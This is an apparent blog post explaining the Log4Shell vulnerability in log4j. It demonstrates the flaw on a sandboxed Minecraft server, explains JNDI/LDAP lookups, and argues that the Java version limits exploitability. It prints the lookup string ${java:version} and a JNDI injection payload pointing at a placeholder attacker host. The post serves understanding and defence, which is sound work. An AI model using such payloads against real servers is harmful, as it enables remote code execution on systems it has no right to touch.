Understanding log4j's ${jndi:ldap://[Attacker IP]} vulnerability


As I've been researching this vulnerability I've seen a fair bit of confusion on exactly what this is. I think to have a better understanding of this, folks probably need to understand .jar files, how programming projects on a large scale are put together and more. On top of that you have to understand some of Java's "Core" features. 

CVE-2021-44228 or as it's probably better known "Log4Shell" is an exploit in a library that is commonly used in Java Projects called log4j between versions 2.0.9 Beta and 2.14.1. The source of the vulnerability was introduced here as one of the earliest request for the product. 

So what is the product exactly? Well... it's a coding library. Much like all human knowledge, programming is rarely done in total isolation. Almost every project today is using code written by someone the programmer likely never met or had any interactions with. These "Libraries" are numerous and you will find them without fail in every single project on the planet. 

Log4j is one such library, and it's there to solve a pretty common need in the programming world, that is to say  so that you can log what the product is doing for the purposes of debugging, authorization and authentication, or more. 

So in an effort not to reinvent the wheel a number of projects simply made use of log4j rather then building their own custom libraries. It's a time saver and it can make complex task as simple as function someoneElsesFunction(blah). With this in mind, it's also probably the easiest method for actually delivering exploits to products. 

Much like plugins for firefox aren't all reviewed by Mozilla, so to are libraries rarely if ever reviewed by the authors of a given program. They simply make use of the features they need and largely ignore the rest. Audits of these libraries are exceedingly rare and it has lead to some rather nasty surprises in the past. CVE-2021-21315 was born out of someone managing to push exploit code directly into the library like it was a normal update. 

So, that leads us to the "Where is it" 

For the purposes of this demonstration, I'm going to make use of the very product that this exploit was Proof of Concepted in, minecraft. 

So for our test environment I'm making use of Windows Sandbox , which if you haven't had the chance to play with, I strongly advise picking it up. It makes use of some rather odd ball tricks in order to ensure the sandbox is making use of effectively the exact same windows version you have. You can configure the sandbox's properties through use of a ".wsb" file (literally create a text file and rename the file type .wsb and Windows will know that's a file to start a windows sandbox with certain paremeters) 

Anyway, in our sandbox we're going to install Java 1.8.0_171 

Thanks to some help from someone who has access to these resources, I was able to get a hold of a copy of this rather old version of Java, but for our purposes it has what we need. Next we go and grab a copy of a version of minecraft that is still vulnerable. For the test I'm going to simply be using Minecraft's server because the sandbox and games get kind of testy even with vGPU enabled

After accepting the EULA it's off to the races and our Sandbox is running a copy of our minecraft server. So, let's prove that the log4j exploit is actually running in some fashion. For this trick we're going to invoke something very simple, ${java:version}. Note, ${java:version} in combination with vulnerable instances of the log4j library will actually work at higher versions of java, but more on that later. 

The long and short of it: It isn't supposed to do that. In this case the server and all connected clients would have logged that "Java Version 1.8.0_171" rather then simply the string "${java:version} like it should have. 

To abuse this, attackers make use of one of log4j's various lookups which are detailed here. Now thanks to some research done some years ago that got us the Apache Struts vulnerability, we know that the JNDI portion of Java (which is detailed with this lovely diagram that you have no doubt seen all over the place) is really a great place to start for all manner of exploits. 

In short, you could probably best describe it as a hyper glorified DNS resolver for Java. It also includes some other "DNS like" services including LDAP / COBRA / etc. This way Java programmers don't have to rebuild the whole of these architectures from the ground up and if someone comes up with yet another "DNS Like" service it will just get thrown in here with the rest. 

This is certainly not the first time that log4j in combination with that JNDI lookup have been used to provide exploit material. It happened in 2017 and 2019. The other portions of the JNDI naming services have stopped remote code loading since at least 2016. Only the LDAP portions appears to not do that by default (or at least in 2016 it wasn't again more on that later). 

So the attack surface is making use of this JNDI LDAP service to make a query out and hopefully return a payload that's actually a malicious java class file that the application logging would then load into memory and run as itself. 

So what's this actually look like anyway? Well something like this

Which will in turn trigger our canary token

That is, as the kids say "Pretty Bad". So you might be asking yourself, how do I even know if an application has this "log4j" library. Well that my dear friend is actually not as bad as you might think. Let's take our minecraft server's "Server (1).jar" as in our demo. If we unzip the jar file (As jar files are little more then a group of compressed class files). 

And as you can see, it's just one of the MANY bundled class files that is shipped out in our jar. Furthermore the config for the log4j instance also needs to make this possible, in Minecraft's case under our decompressed jar you'll find log4j2.xml file at the root level. The actual line causing us so much grief is the Console and ServerGuiConsole with their %msg%n. So as there is no preexisting lookup wrapper log4j instead just does WHATEVER the message says. 

This is probably where I start to become an old goat who differs from the general security research department. You see... this vulnerability (at least as I have shown it) doesn't actually work if you're running Java Version 1.8.0_191 or later. Or rather at least not in it's simplest form

Veracode goes into a bit of detail about getting around this by making use of something called the org.apache.naming.factory.beanFactory, the important part you might not have caught though is that that only applies to things like Apache Tomcat and not all java products with the vulnerable log4j versions (in this case 2.15). 

In fact the malicious string input they suggest doesn't even seem to work in our already vulnerable minecraft instance. 

So perhaps the later log4j vulnerabilities, or even the first one should come with some caveats hmm? 

If you have an application making use of log4j library below 2.15 AND that application is running on an instance of Java below 1.8.0_192 then this can be exploited

For Blumira's exploit to work the server has to be active and listening to actually fire off the exploit. 

And finally for the exploit which prompted 2.17 of log4j or CVE-2021-45105, it's not actually an RCE, just a DOS (not that it's much better, but still, I'd much rather an adversary crash my server then get control of it). 

I guess in part what I'm saying is this is certainly not great, but I really wish that when we were discussing this it was made clear that Java Version absolutely does matter in terms of the technical skill required to pull off this exploit. While I have absolutely seen exploitation of Java 1.8.0_311 in combination with Log4j, it's not nearly as simple as typing in ${jndi:ldap://[Attacker IP/host]/}. 

So yes, APT are probably looking into exploitation at 311 and the like, the kids and script kiddies probably don't have a "I win" package in metasploit yet to make use of it. 

As security experts when we're doing this research we need to be clear that there are a number of contributing factors that made log4j's vulnerability an issue. It isn't just log4j itself, but log4j in combination with a beanfactory like jar or log4j in combination with a version of java that is nearly 3 years old now. 

Should you update? Yeah no doubt. I simply wish our messaging on this had been a fair bit clearer.


Popular Posts